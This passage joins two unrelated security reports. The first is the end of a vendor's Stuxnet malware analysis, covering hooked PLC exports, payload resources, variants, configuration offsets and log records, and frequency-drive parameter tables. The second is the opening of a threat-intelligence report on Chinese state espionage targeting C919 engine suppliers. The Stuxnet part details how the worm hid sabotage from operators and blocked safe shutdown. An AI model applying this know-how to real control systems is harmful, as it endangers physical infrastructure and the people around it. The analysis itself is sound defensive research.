For instance, deletion of OB80 (used to handle asynchronous error interrupts) can result in an empty OB80 being written.
Other export hooks Other exports are hooked to achieve other functions, including PLC information gathering, others remaining quite obscure at the time of writing: s7db_open and s7db_close Used to obtain information used to create handles to manage a PLC (such a handle is used by APIs that ma- nipulate the PLC).
s7ag_read_szl Used to query PLC information, through a combination of an ID and an index (it can be used for instance to get the PLC type.)
The export modifies the APIs return information if its called with specific ID27, index0.
s7_event The purpose of the original API is unknown.
The export can modify block DB8062 of sequence C. s7ag_test s7ag_link_in s7ag_bub_cycl_read_create W32.Stuxnet Dossier Page 49 Security Response s7ag_bub_read_var s7ag_bub_write_var s7ag_bub_read_var_seg s7ag_bub_write_var_seg Stuxnet records the previous operating frequencies for the frequency controllers.
This data is played back to WinCC through these hooked functions during the sabotage routines.
Thus, instead of the monitoring systems receiving the anomalous operating frequency data, the monitoring systems believe the frequency converters are operating as normal.
In addition, OB35 is infected as previously described.
When the sabotage routine occurs, OB35 prevents the original OB35 code from executing.
Assuming the original OB35 code initiates a graceful shutdown during cata- strophic events, even if the operators realize the system is operating abnormally, they will not be able to safely shutdown the system.
Interestingly, OB35 uses a magic marker value of 0xDEADF007 (possibly to mean Dead Fool or Dead Foot  a term used when an airplane engine fails) to specify when the routine has reached its final state.
W32.Stuxnet Dossier Page 50 Security Response Payload Exports Export 1 Starts removable drive infection routine as described in the Removable Drive Propagation section.
Also starts the RPC server described in the Peer-to-Peer Communication section.
Export 2 Hooks APIs as described in the Step 7 Project File Infections section.
Export 4 Initialization for export 18, which removes Stuxnet from the system.
Export 5 Checks if MrxCls.sys installed.
The purpose of MrxCls.sys is described in the Load Point section.
Export 6 Export 6 is a function to return the version number of the threat read from the configuration data block.
The ver- sion information is stored in the configuration data block at offset 10h.
Export 7 Export 7 simply jumps to export 6.
Export 9 Executes possibly new versions of Stuxnet from infected Step 7 projects as described in the Step 7 Project File Infections section.
Export 10 Executes possibly new versions of Stuxnet from infected Step 7 projects as described in the Step 7 Project File Infections section.
Export 14 Main wrapper function for Step 7 project file infections as described in the Step 7 Project File Infections section.
Export 15 Initial entry point described in the Installation section.
Export 16 Main installation routine described in the Installation section.
Export 17 Replaces a Step 7 DLL to infect PLCs as described in the Sabotaging PLCs section.
W32.Stuxnet Dossier Page 51 Security Response Export 18 Removes Stuxnet from the system by deleting the following files: Malicious Step 7 DLL1.
Driver files MrxCls.sys and MrxNet.sys2.
oem7A.PNF3.
mdmeric3.pnf4.
mdmcpq3.pnf (Stuxnets configuration file)5.
Export 19 Removable drive infecting routine as described in the Removable Drive Propagation section.
Export 22 Contains all the network spreading routines described in the Network Spreading Routines section.
Export 24 Checks if the system is connected to the Internet.
Performs a DNS query on two benign domains in the configu- ration data (by default windowsupdate.com and msn.com) and updates the configuration data with the status.
Export 27 Contains part of the code for the RPC server described in the Peer-to-Peer Communication section.
Export 28 Contains command and control server functionality described in the Command and Control section.
Export 29 Contains command and control server functionality described in the Command and Control section.
Export 31 Executes possibly new versions of Stuxnet from infected Step 7 projects as described in the Step 7 Project File Infections section.
Export 32 The same as export 1, except it does not check for an event signal before calling the removable drive spreading routines and the RPC server code.
This export is described in the Removable Drive Propagation section.
Payload Resources The exports above need to load other files/templates/data to perform their tasks.
All of these files are stored in the resources section of the main .dll file.
The function of each resource is discussed in detail here.
Resource 201 Windows rootkit MrxNet.sys driver signed by a compromised Realtek signature described in the Windows Rootkit Functionality section.
Resource 202 The DLL used in Step 7 project infections as described in the Step 7 Project File Infections section.
W32.Stuxnet Dossier Page 52 Security Response Resource 203 CAB file, contains a DLL very similar to resource 202 that is added to WinCC project directories (as described in Step 7 Project File Infections) and then loaded and executed through SQL statements as described in the Infect- ing WinCC Machines section.
Resource 205 Encoded configuration file for the load point driver (MrxCls.sys) that is added to the registry.
The file specifies what process should be injected and with what, which is described in the Load Point section.
Resource 207 Stuxnet appended with autorun.inf information.
Only in previous variants of Stuxnet.
Resource 208 Step 7 replacement DLL used in infecting PLCs as described in the Sabotaging PLCs section.
Resource 209 25 bytes long data file created in Windir\help\winmic.fts Resource 210 Template PE file used by many exports when creating or injecting executables.
Resource 221 This resource file contains the code to exploit the Microsoft Windows Server Service Vulnerability - MS08-067 as described in the MS08-067 Windows Server Service vulnerability section.
Resource 222 This resource file contains the code to exploit the Microsoft Windows Print Spooler Vulnerability  MS10-067 as described in the MS10-061 Print Spooler Zero day vulnerability section.
Resource 231 Checks if the system is connected to the Internet.
This resource is only in previous variants of Stuxnet.
Resource 240 Used to build unique .lnk files depending on drives inserted as described in the Removable Drive Propagation section.
Resource 241 The file WTR4141.tmp signed by Realtek and described in the Removable Drive Propagation section.
Resource 242 Mrxnet.sys rootkit file signed by Realtek.
Resource 250 0-day exploit code that results in an escalation of privilege due to the vulnerability in win32k.sys.
Details are described in the Windows Win32k.sys Local Privilege Escalation vulnerability (MS10-073) section.
W32.Stuxnet Dossier Page 53 Security Response Variants Out of 3,280 collected samples, three distinct variants have been identified.
They have compile times of: Mon Jun 22 16:31:47 2009 Mon Mar 01 05:52:35 2010 Wed Apr 14 10:56:22 2010 A fourth variant is likely to exist as a driver file, signed with the JMicron digital certificate that was found, but the variant dropping this driver has yet to be recovered.
This document primarily concentrates on the March 2010 variant.
The April 2010 variant only differs very slightly from the March 2010 variant.
(
For example, increasing the date at which USB spreading stops.)
However, the June 2009 has significant differences from the March and April 2010 samples.
The compile times appear ac- curate based on the infection times seen for each sample.
A version number contained within the binary also corresponds to this chronology.
As discussed in the Stuxnet Architecture section, Stuxnet segregates its functionality via embedded resources.
The newer variants have more resources, but are smaller in size.
Shown below are the resources for both types shown side by side.
The resources in green were added in the latest version, the resources in red were removed from the older ver- sion, and the rest of the resources are constant between both old and new samples.
The reason for the difference in size is that Resource ID 207 is absent from the newer versions.
Resource 207 is 520kB, so although more resources were added in newer versions of Stuxnet, the sum total of the new resource sizes is less than 520kB.
The difference in functionality between the June 2009 variant and the March and April 2010 variants is summa- rized below.
Many of the components are actually identical or are close to identical, having the same functionality with slight differences in the code.
Table 8 Comparison of Resources March 2010 June 2009 Resource ID Size Resource ID Size 201 26,616 201 19,840 202 14,848 202 14,336 203 5,237 205 433 205 323 207 520,192 208 298,000 208 298,000 209 25 209 25 210 9,728 210 9,728 221 145,920 221 145,920 222 102,400 222 102,400 231 10,752 240 4,171 241 25,720 242 17,400 250 40,960 W32.Stuxnet Dossier Page 54 Security Response Resources 240, 241, and 242 represent the most significant additions between June 2009 and March 2010.
These resources exploit the Microsoft Windows Shortcut LNK Files Automatic File Execution Vulnerability (BID 41732) and implement the Windows rootkit to hide files on USB drives.
The June 2009 variant also contained code that was removed in the March 2010 variants.
In particular, the June 2009 variants supported Windows 9x and also used autorun.inf to spread on removal drives, instead of the LNK exploit.
Resource 207 and 231 were dropped from the newer version of Stuxnet.
Resource 231 was used to communicate with the control servers and has the CC server names stored in plain text within the file.
The newer version of Stuxnet has moved the Internet connection functionality inside the main payload .dll file and has moved the URLs from inside resource 231 to the installer component, and the URLs are crudely obfuscated.
This gives the attacker the distinct advantage of updating the configuration of each sample without having to rebuild the entire package with a new resource inside.
Resource 207 has also been removed but at least part of its functionality has been retained.
Resource 250 con- tains code that previously resided inside resource 207, although as you can see from the sizes that resource 250 is much smaller, so some of the functionality of resource 207 has been removed.
Of the more than 3000 samples recovered, almost all are 2010 variants.
A very small percentage of the samples are the 2009 variant.
The 2009 variant may have spread more slowly and infected far fewer computers, or the late discovery may have meant infections were either replaced with newer versions or remediated.
Table 12 Description of Components Component June 2009 March 2010 201 Mrxcls.sys rootkit file Unsigned Signed 202 Fake Siemens DLL Same Version info but recompiled 203 DLL inside a .cab file New 205 Data file 207 Large Component Moved to 250 208 Wrapper for s7otbldx.dll Almost identical 209 Data file Identical 210 Loader .dll calls payload Almost identical 221 Network Explorer Identical 222 Network Explorer Identical 231 Internet Connect .dll Moved to main module 240 Link File Template New 241 USB Loader Template New 242 Mrxnet.sys rootkit file New 250 Keyboard Hook  Injector New Red  resource removed, green  resource added.
Figure 31 Stuxnet Variants http://www.securityfocus.com/bid/41732 W32.Stuxnet Dossier Page 55 Security Response Summary Stuxnet represents the first of many milestones in malicious code history  it is the first to exploit four 0-day vulnerabilities, compromise two digital certificates, and inject code into industrial control systems and hide the code from the operator.
Whether Stuxnet will usher in a new generation of malicious code attacks towards real- world infrastructureovershadowing the vast majority of current attacks affecting more virtual or individual assetsor if it is a once- in-a-decade occurrence remains to be seen.
Stuxnet is of such great complexityrequiring significant resources to developthat few attackers will be capable of producing a similar threat, to such an extent that we would not expect masses of threats of similar in sophistication to suddenly appear.
However, Stuxnet has highlighted direct-attack attempts on critical infra- structure are possible and not just theory or movie plotlines.
The real-world implications of Stuxnet are beyond any threat we have seen in the past.
Despite the exciting chal- lenge in reverse engineering Stuxnet and understanding its purpose, Stuxnet is the type of threat we hope to never see again.
W32.Stuxnet Dossier Page 56 Security Response Appendix A Table 13 Configuration Data Offset Type Description 0 Dword Magic 4 Dword Header size 8 Dword Validation value C Dword Block size 10 Dword Sequence number 20 Dword Performance Info 24 Dword Pointer to Global Config Data 30 Dword Milliseconds to Wait 34 Dword Flag 40 Dword Pointer to Global Config Data 44 Dword Pointer to Global Config Data 48 Dword Pointer to Global Config Data 58 Dword Buffer size 5c Dword Buffer size 60 Dword Buffer size 64 Dword Buffer size 68 Dword Flag 6c Dword Flag, if 0, check 70 (if 1, infect USB without timestamp check) 70 Dword Flag, after checking 6C, if 0, check 78 date 78 Dword lowdatetime (timestamp before infecting USB) 7C Dword highdatetime 80 Dword number of files that must be on the USB key (default 3) 88 Dword Must be below 80h 84 Dword Number of Bytes on disk needed - 5Mb 8c Qword Setup deadline (Jun 24 2012) 98 Dword Flag 9c Dword Flag A4 Qword Timestamp (start of infection  e.g., 21 days after this time USB infection will stop) AC Dword Sleep milliseconds b0 Dword Flag B4 Qword Timestamp c4 Dword Time stamp c8 Dword Flag (if 0, infect USB drive, otherwise, uninfect USB drive) cc Char[80h] Good domain 1  windowsupdate.com 14c Char[80h] Good domain 2  msn.com 1cc Char[80h] Command and control server 1 24c Char[80h] URL for CC server 1 - index.php 2cc Char[80h] Command and control server 2 34c Char[80h] URL for CC server 2- index.php W32.Stuxnet Dossier Page 57 Security Response Table 13 Configuration Data Offset Type Description 3cc Dword Flag 3ec Dword Wait time in milliseconds 3f0 Dword Flag - connectivity check 3f4 Dword HighDateTime 3f8 Dword LowDateTime 3d4 Dword TickCount (hours) 414 Dword TickCount milliseconds 418 Char[80h] Step7 project path 498 Dword pointer to global config 49c Dword pointer to global config 4a0 Dword Counter 59c Dword Flag - 0 5a0 Dword TickCount Check 5AC Dword TickCount Check 5b4 PropagationData block 2 5f0 PropagationData block 5 62c PropagationData block 4 668 PropagationData block 3 6A4 Dword Flag to control whether WMI jobs should be run 6A8 Dword Flag to control whether scheduled jobs should be run 6AC Dword Flag controlling update 6B4 Dword Flag, disable setup 6b8 PropagationData block 1 Table 14 Format of a Propagation Data block Offset Type Description 00 Qword Timestamp max time 08 Qword Timestamp AV definitions max timestamp 10 Qword Timestamp Kernel DLLs max timestamp 18 Qword Timestamp secondary time 20 Dword Day count 24 Dword Flag check secondary time 28 Dword Flag check time 2C Dword Flag check AV definitions time 30 Dword Flag check Kernel DLLs max timestamp 34 Dword 38 Dword W32.Stuxnet Dossier Page 58 Security Response Appendix B The oem6c.pnf log file This file is created as Windir\inf\oem6c.pnf.
It is encrypted and used to log information about various actions executed by Stuxnet.
This data file appears to have a fixed size of 323,848 bytes.
However the payload size is initially empty.
On top of storing paths of recorded or infected Step7 project files, other records of information are stored.
Each record has an ID, a timestamp, and (eventually) data.
Here is a list of records that can be stored to oem6c.pnf: Communication 2DA6h,1No data.
Stored before executing export 28.
2DA6h,2No data.
Stored only if export 28 executed successfully.
2DA6h,3Has the initial network packet (to HTTP server) been sent.
S7P/MCP 246Eh,1Unknown.
Relates to XUTILS\listen\XR000000.MDX.
246Eh,2Unknown.
Relates to GracS\cc_alg.sav.
246Eh,3Filepath S7P.
246Eh,4Filepath S7P.
246Eh,4Filepath MCP.
246Eh,5Filepath MCP.
246Eh,6Recorded Step7 project path.
Network F409h, 1Server names collected from network enumeration.
F409h, 2Unknown, index.
F409h, 3No data.
Related to exploit (failure/success?
).
Infection 7A2Bh,2No data.
Infection of last removable device success.
7A2Bh,5No data.
Infection of last removable device failed.
7A2Bh,6No data.
Both files wtr4141/wtr4132 exist on the drive to be infected.
7A2Bh,7No data.
Unknown, created on error.
7A2Bh,8No data.
Created if not enough space on drive to be infected (less than 5Mb).
Rootkits F604h,5No data.
Only if Stuxnet and the rootkits were dropped and installed correctly (installation success).
W32.Stuxnet Dossier Page 59 Security Response Appendix C The following represents the parameters changed on the frequency drives and their values.
Descriptions of the values are provided however, many of these descriptionsespecially for parameters over 1000may be inaccu- rate (some clearly are inaccurate).
These descriptions are derived from multiple sources and, ultimately, custom applications can be used on frequency drives that use and specify their own purpose for these values.
Table 15 Parameters and values for Vacon drive Parameter Value Possible Description Frames 1.1 813 2 ?
819 0 1086 1 Disable stop lock - allows parameters adjusting during RUN state (allinone) 114 0 stop button 301 0 DIN3 function 313 0 RO1 function 314 0 RO2 function 315 0 output frequency limit 1 supervision 346 0 output frequency limit 2 supervision 348 0 torque limit supervision function 350 0 reference limit supervision function 354 0 frequency converter temperature limit supervision 356 0 analogue supervision signal 700 0 Response to the 4mA reference fault 701 0 Response to external fault 702 0 Output phase supervision 703 0 Earth fault protection 704 0 Motor thermal protection 709 0 Stall protection 713 0 Underload protection 727 1 Response to undervoltage fault 730 0 Input phase supervision 732 0 Response to thermistor fault 733 0 Response to fieldbus fault 734 0 Response to slot fault 740 0 Response to PT100 fault 1316 0 Brake fault action (allinone) 1082 0 SystemBus communication fault re- sponse (allinone) 752 0 Speed error fault function 1353 0 Encoder fault mode (advanced) 303 0 reference scaling min value 304 0 reference scaling maximum value 305 0 reference inversion Table 16 Parameters and values for Fararo Paya drive Parameter Value Possible Description Frames 1.1 117 49 118 899 119 101 120 119 116 8000 116 12000 116 8000 116 16000 122 2 174 301 168 1 170 201 113 2 114 850 142 14000 Frequency ?
111 1 112 61990 123 0 107 399 106 950 104 10500 Frequency ?
101 10500 Frequency ?
104 14001 111 10000 101 14000 Frequency ?
103 10490 102 10480 166 1 173 1 169 1 112 30000 0 0 169 1 W32.Stuxnet Dossier Page 60 Security Response Table 15 Parameters and values for Vacon drive Parameter Value Possible Description 434 0 fault 436 0 warning active 438 0 reference fault/warning 439 0 overtemperature warning 441 0 unrequested direction 444 0 external control place 445 0 external brake control 447 0 output frequency limit 1 supervision 448 0 output frequency limit 2 supervision 449 0 Reference limit supervision 450 0 Temperature limit supervision 451 0 Torque limit supervision 452 0 Thermistor fault or warning 463 0 Analogue input supervision limit 485 0 Scaling of motoring torque limit 464 0 Analogue output 1 signal selection 307 0 analogue output function 471 0 Analogue output 2 signal selection 472 0 Analogue output 2 function 478 0 Analogue output 3/ signal selection 479 0 Analogue output 3/ function 312 0 digital output 1 function 486 0 Digital output 1 signal selection 490 0 Digital output 2 function 489 0 Digital output 2 signal selection 307 0 analogue output function 472 0 Analogue output 2 function 479 0 Analogue output 3/ function 464 0 Analogue output 1 signal selection 471 0 Analogue output 2 signal selection 478 0 Analogue output 3/ signal selection 484 0 Analogue output 3 offset 312 0 digital output 1 function 490 0 Digital output 2 function 486 0 Digital output 1 signal selection 489 0 Digital output 2 signal selection 414 0 fault reset 415 0 acc/dec prohibited 416 0 DC-braking 750 1 Cooling monitor 1213 1 Emergency Stop (allinone) Table 16 Parameters and values for Fararo Paya drive Parameter Value Possible Description 0 0 Frames 1.2 123 0 112 1 102 10 103 500 101 10000 Frequency?
104 10640 Frequency?
107 400 105 33 106 100 117 20 118 650 119 400 120 100 174 450 168 4 170 400 113 1 114 750 112 10 111 10 142 10640 Frequency?
169 1 173 1 Frames 2.1 117 49 118 899 119 101 120 119 116 8000 116 12000 116 8000 116 16000 122 2 166 1 174 301 168 1 170 201 113 2 W32.Stuxnet Dossier Page 61 Security Response Table 15 Parameters and values for Vacon drive Parameter Value Possible Description 1420 1 Prevention of startup (allinone) 399 0 scaling of current limit 400 0 scaling of DC breaking current 401 0 scaling of acc/dec time 405 0 external fault close 406 1 external fault open 407 1 run enable 411 1 control from fieldbus 409 0 control from I/O terminal 410 0 control from keyboard 107 44 current limit 107 440 current limit 509 0 Prohibit frequency area 1/ Low limit 510 0 Prohibit frequency area 1/ High limit 511 0 Prohibit frequency area 2/ Low limit 512 0 Prohibit frequency area 2/ High limit 513 0 Prohibit frequency area 3/ Low limit 514 0 Prohibit frequency area 3/ High limit 104 19990 deceleration time 1 ?
503 19990 deceleration time 2 ?
1541 19990 Selma Fault Word 1 - ?
1542 19990 Selma Fault Word 2 - ?
508 0 DC-braking time at stop 516 0 DC-braking time at start 506 1 stop function 505 0 start function 1500 1 Current limit (multimotor) or DIN5 func- tion (lift app) 103 4000 acceleration time 1 502 4000 acceleration time 2 1531 1 Min frequency (highspeed multimotor) 125 3 control place 122 3 fieldbus control reference 102 1410 1502 1 Maximum frequency (highspeed mul- timotor) 1505 1 Current limit (highspeed multimotor) 1508 1 Nominal speed of the motor (highspeed multimotor) 1511 1 I/O reference (highspeed multimotor) 1514 1 Start function (highspeed multimotor) Table 16 Parameters and values for Fararo Paya drive Parameter Value Possible Description 114 850 102 1 108 1 109 1 105 280 106 281 103 400 112 1 111 30000 123 0 142 2 107 380 101 2 104 500 Frequency?
169 1 173 1 0 0 169 1 Frames 2.2 123 0 111 1 104 10640 Frequency?
103 500 101 10000 102 10 107 400 105 33 106 100 166 1 117 20 118 650 119 400 120 100 122 2 174 450 168 4 170 400 113 1 114 750 108 1500 W32.Stuxnet Dossier Page 62 Security Response Table 15 Parameters and values for Vacon drive Parameter Value Possible Description 1517 1 DC braking time at stop (highspeed multimotor) 1520 1 Measured Rs voltage drop (multimotor2) 1503 1 Acceleration time 1 (highspeed multimo- tor) 1506 1 Nominal voltage of the motor (highspeed multimotor) 1509 1 Nominal current of the motor (high- speed multimotor) 1512 1 Analogue output function (highspeed multimotor) 1515 1 Stop function (highspeed multimotor) 1518 1 Follower drive windong phase shift (advanced) 600 0 Motor control mode 521 0 Motor control mode 2 1522 1 Analogue output 4 inversion (advanced) 1526 1 DIN5 function (highspeed multimotor) 1525 1 Analogue output 4 scaling (advanced) 1532 0 Max frequency (highspeed multimotor) 1527 0 Analogue output 4 signal selection (advanced) 110 400 nominal voltage of motor 1519 1064 1516 1063 1520 29990 Measured Rs voltage drop (multimotor2) 1517 29990 DC braking time at stop (highspeed multimotor) 1522 1 Analogue output 4 inversion (advanced) 1526 1 DIN5 function (highspeed multimotor) 1525 1 Analogue output 4 scaling (advanced) 1519 1410 1516 1400 1517 4000 DC braking time at stop (highspeed multimotor) 1518 5990 Follower drive windong phase shift (advanced) 1513 1062 1510 1061 1507 1060 1504 1059 1501 1058 0 0 Table 16 Parameters and values for Fararo Paya drive Parameter Value Possible Description 109 1200 112 10 111 10 142 10640 Frequency?
169 1 173 1 W32.Stuxnet Dossier Page 63 Security Response Table 15 Parameters and values for Vacon drive Parameter Value Possible Description Frames 1.2 812 12 Number of stop bits 0 0 Frames 2.1 813 2 ?
819 0 1086 1 Disable stop lock - allows parameters adjusting during RUN state (allinone) 114 0 stop button 506 0 stop function 315 0 output frequency limit 1 supervision 346 0 output frequency limit 2 supervision 348 0 torque limit supervision function 350 0 reference limit supervision function 354 0 frequency converter temperature limit supervision 356 0 analogue supervision signal 700 0 Response to the 4mA reference fault 701 0 Response to external fault 702 0 Output phase supervision 703 0 Earth fault protection 704 0 Motor thermal protection 709 0 Stall protection 713 0 Underload protection 727 1 Response to undervoltage fault 730 0 Input phase supervision 732 0 Response to thermistor fault 733 0 Response to fieldbus fault 734 0 Response to slot fault 740 0 Response to PT100 fault 1316 0 Brake fault action (allinone) 1082 0 SystemBus communication fault re- sponse (allinone) 752 0 Speed error fault function 1353 0 Encoder fault mode (advanced) 303 0 reference scaling min value 304 0 reference scaling maximum value 305 0 reference inversion 434 0 fault 436 0 warning active 438 0 reference fault/warning 439 0 overtemperature warning W32.Stuxnet Dossier Page 64 Security Response Table 15 Parameters and values for Vacon drive Parameter Value Possible Description 441 0 unrequested direction 444 0 external control place 445 0 external brake control 447 0 output frequency limit 1 supervision 448 0 output frequency limit 2 supervision 449 0 Reference limit supervision 450 0 Temperature limit supervision 451 0 Torque limit supervision 452 0 Thermistor fault or warning 463 0 Analogue input supervision limit 485 0 Scaling of motoring torque limit 464 0 Analogue output 1 signal selection 307 0 analogue output function 471 0 Analogue output 2 signal selection 472 0 Analogue output 2 function 478 0 Analogue output 3/ signal selection 479 0 Analogue output 3/ function 312 0 digital output 1 function 486 0 Digital output 1 signal selection 490 0 Digital output 2 function 489 0 Digital output 2 signal selection 414 0 fault reset 415 0 acc/dec prohibited 416 0 DC-braking 750 1 Cooling monitor 1213 1 Emergency Stop (allinone) 1420 1 Prevention of startup (allinone) 607 0 Overvoltage controller 1267 850 Brake chopper level (advanced) 1262 2 Overvoltage reference selection (ad- vanced) 520 0 Flux brake 1522 0 Analogue output 4 inversion (advanced) 1526 0 DIN5 function (highspeed multimotor) 1525 0 Analogue output 4 scaling (advanced) 516 0 DC-braking time at start 508 0 DC-braking time at stop 515 1 505 0 start function 104 1 deceleration time 1 503 1 deceleration time 2 W32.Stuxnet Dossier Page 65 Security Response Table 15 Parameters and values for Vacon drive Parameter Value Possible Description 1541 1 Selma Fault Word 1 - ?
1542 1 Selma Fault Word 2 - ?
1531 0 Min frequency (highspeed multimotor) 1532 0 Max frequency (highspeed multimotor) 125 3 control place 601 160 switching frequency 399 0 scaling of current limit 400 0 scaling of DC breaking current 401 0 scaling of acc/dec time 405 0 external fault close 406 1 external fault open 407 1 run enable 411 1 control from fieldbus 409 0 control from I/O terminal 410 0 control from keyboard 600 0 Motor control mode 521 0 Motor control mode 2 108 2 U/f ratio selection 101 0 min frequency 107 44 current limit 107 440 current limit 110 380 nominal voltage of motor 606 2800 output voltage at zero frequency 111 80 112 144 nominal speed of motor 120 85 motor cos phi 605 2850 U/f curve/ middle point voltage 603 3000 voltage at field weakening point 604 40 1519 1 102 2 717 110 Automatic restart/ Wait time 718 120 Automatic restart/ Trial time 721 10 Automatic restart/ Number of tries after overvoltage trip 722 3 Automatic restart/ Number of tries after overcurrent trip 301 0 DIN3 function 313 0 RO1 function 314 0 RO2 function 103 3000 acceleration time 1 502 3000 acceleration time 2 W32.Stuxnet Dossier Page 66 Security Response Table 15 Parameters and values for Vacon drive Parameter Value Possible Description 1502 3000 Maximum frequency (highspeed mul- timotor) ?
104 19990 deceleration time 1 ?
503 19990 deceleration time 2 ?
1541 19990 Selma Fault Word 1 - ?
1542 19990 Selma Fault Word 2 - ?
504 1 brake chopper 504 4 brake chopper 1531 1 Min frequency (highspeed multimotor) 0 0 0 0 506 1 stop function 0 0 Frames 2.2 506 0 stop function 1532 0 Max frequency (highspeed multimotor) 1541 1 Selma Fault Word 1 - ?
1542 1 Selma Fault Word 2 - ?
104 1 deceleration time 1 503 1 deceleration time 2 1522 0 Analogue output 4 inversion (advanced) 1526 0 DIN5 function (highspeed multimotor) 1525 0 Analogue output 4 scaling (advanced) 125 3 control place 1531 0 Min frequency (highspeed multimotor) 0 0 0 0 0 0 102 1064 108 2 U/f ratio selection 111 1064 604 50 603 10000 voltage at field weakening point 605 1000 U/f curve/ middle point voltage 606 330 output voltage at zero frequency 0 0 812 12 ?
1531 1 Min frequency (highspeed multimotor) 516 0 DC-braking time at start 505 0 start function 103 1 acceleration time 1 W32.Stuxnet Dossier Page 67 Security Response Table 15 Parameters and values for Vacon drive Parameter Value Possible Description 502 1 acceleration time 2 1502 1 Maximum frequency (highspeed mul- timotor) 1522 0 Analogue output 4 inversion (advanced) 1526 0 DIN5 function (highspeed multimotor) 1525 0 Analogue output 4 scaling (advanced) 0 0 0 0 812 12 ?
0 0 W32.Stuxnet Dossier Page 68 Security Response Revision History Version 1.0 (September 30, 2010) Initial publication Version 1.1 (October 12, 2010) Added  Windows Win32k.sys Local Privilege Escalation (MS10-073) section.
Updates to  Modifying PLCs section, based on MS10-073.
Other minor updates.
Version 1.2 (November 3, 2010) Added  Behavior of a PLC infected by sequence A/B section.
Version 1.3 (November 12, 2010) Updated the  Modifying PLCs section.
Added Appendix C. Version 1.4 (February 11, 2011) New content added to the  Infection Statistics, The monitor thread, Sequence C, and Variants sections.
Minor edits and updates to  Configuration Data Block, Behavior of a PLC infected by sequence A/B, and Other export hooks sections.
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INTELLIGENCE REPORT: HUGE FAN OF YOUR WORK: How TURBINE PANDA and Chinas Top Spies Enabled Beijing to Cut Corners on the C919 Passenger Jet PUBLISHED OCTOBER 2019 CROWDSTRIKE GLOBAL INTELLIGENCE TEAM web: WWW.CROWDSTRIKE.COM   twitter: CROWDSTRIKE email: INTELLIGENCECROWDSTRIKE.COM This report is provided for situational awareness and network defense purposes only.
DO NOT conduct searches on, communicate with, or engage any individuals, organizations, or network addresses identified in this report.
Doing so may put you or your employer at risk and jeopardize ongoing investigation efforts.
Copyright 2019 V1.
12/05VV1 Copyright 2019 1 FORWARD Rarely in the infosec industry do cyber investigators get the luxury of knowing the full scope of their adversarys campaignfrom tasking, to actual operations, all the way to completion.
The oft-repeated mantra Attribution is hard largely stands true.
Short of kicking down the door just as a cyber actor pushes enter, it is frustratingly hard to prove who is responsible for cyber attacks with 100 certainty.
However, a series of recent U.S. Department of Justice (DoJ) indictments released over the course of two years, combined with CrowdStrike Intelligences own research, has allowed for startling visibility into a facet of Chinas shadowy intelligence apparatus.
In this blog, we take a look at how Beijing used a mixture of cyber actors sourced from Chinas underground hacking scene, Ministry of State Security (MSS/) officers, company insiders, and state directives to fill key technology and intelligence gaps in a bid to bolster dual-use turbine engines which could be used for both energy generation and to enable its narrow-body twinjet airliner, the C919, to compete against western aerospace firms.
What follows is a remarkable tale of traditional espionage, cyber intrusions, and cover-ups, all of which overlap with activity CrowdStrike Intelligence has previously attributed to the China-based adversary TURBINE PANDA.
These operations are ultimately traceable back to the MSS Jiangsu Bureau, the likely perpetrators of the infamous 2015 U.S. Office of Personnel Management (OPM) breach.
Figure 1.
Leap Engine Source: https://www.flightglobal.com/news/articles/cfm-delivers-first-leap-1c-to-comac-414924/ V1.
12/05VV1 Copyright 2019 2 PART I: THE TARGET The story starts with a simple fact: Beijing accurately predicted that due to its rising economic status, Chinas middle class demand for air travel would far outpace its ability to supply aircraft and a domestic commercial aviation industry capable of supporting these logistics.
Putting aside the obvious military- civil () benefits1 that turbine engines have for the energy and aviation sectors, much of Chinas strategic push into this industry is predicated by necessity.
China is predicted2 to succeed the U.S. as the worlds largest aviation market by 2022, adding nearly 1 billion passengers by 2036.
From Chinas 12th and 13th Five Year Plan to the increasingly scrutinized Made in China 2025 Plan,3 numerous state strategic plans have named aerospace and aviation equipment as one of ten priority industries to focus on leap-frog developments.
Figure 2.
Chinas Exponential Growth in Air Travel Mirrored by Rise of Chinas Middle Class Source: CSIS China Power Project A major focus of this strategy centered on building an indigenous Chinese-built commercial aircraft designed to compete with the duopoly of western aerospace.
That aircraft would become the C919an aircraft roughly half the cost of its competitors, and which completed its first maiden flight4 in 2017 after years of delays due to design flaws.
But the C919 can hardly be seen as a complete domestic triumph as 1 https://www.rand.org/content/dam/rand/pubs/research_reports/RR200/RR245/RAND_RR245.pdf 2 https://www.weforum.org/agenda/2018/08/these-five-charts-show-how-rapidly-china-s-aviation-industry-is-expanding/ 3 https://www.uschamber.com/sites/default/files/final_made_in_china_2025_report_full.pdf 4 https://www.theguardian.com/world/2017/may/05/chinas-first-home-made-plane-makes-maiden-flight V1.
12/05VV1 Copyright 2019 3 it is reliant on a plethora of foreign-manufactured components (see Figure 3).5 Likely in an effort to bridge those gaps, a Chinese state-aligned adversary CrowdStrike calls TURBINE PANDA conducted cyber intrusions from a period of roughly 2010 to 2015 against several of the companies that make the C919s various components.
Figure 3.
Components of C919 Source: https://www.aerotime.aero/aerotime.team/447-made-in-china-why-c919-can-hardly-be-called- chinese Specifically, in December 2009, the state-owned enterprise (SOE) Commercial Aircraft Corporation of China (COMAC/) announced it had chosen CFM Internationals (a joint venture between U.S.-based GE Aviation and French aerospace firm Safran, formerly Snecma) LEAP-X engine to provide a custom variant engine, the LEAP-1C, for the then-newly announced C919.
The deal was reportedly signed in Beijing during a visit by then-French Prime Minister Franois Fillon.6 Despite the early deal with CFM, both COMAC and fellow SOE the Aviation Industry Corporation of China (AVIC/ ) were believed7 to be tasked by Chinas State-owned Assets Supervision and Administration Commission of the State Council (SASAC) with building an indigenously created turbofan engine that was comparable to the LEAP-X.8 In August 2016, both COMAC and AVIC became the main shareholders of the Aero Engine Corporation of China (AECC/), which produced the CJ-1000AX engine.
The CJ-1000AX bears 5 https://www.aerotime.aero/aerotime.team/447-made-in-china-why-c919-can-hardly-be-called-chinese 6 https://www.flightglobal.com/news/articles/cfm-international-to-provide-engines-for-comacs-c919-336414/ 7 http://www.xinhuanet.com/english/2017-05/04/c_136257538.htm 8 http://www.miit.gov.cn/n1146290/n1146397/c4244228/content.html V1.
12/05VV1 Copyright 2019 4 multiple similarities to the LEAP-1C,9 including its dimensions10 and turbofan blades.
The AECC conducted its first test as recently as May 2018, having overcome significant difficulties in their first mockups.
Though it is difficult to assess that the CJ-1000AX is a direct copy of the LEAP-X without direct access to technical engineering specifications, it is highly likely that its makers benefited significantly from the cyber espionage efforts of the MSS, detailed further in subsequent blog installments, knocking several years (and potentially billions of dollars) off of its development time.
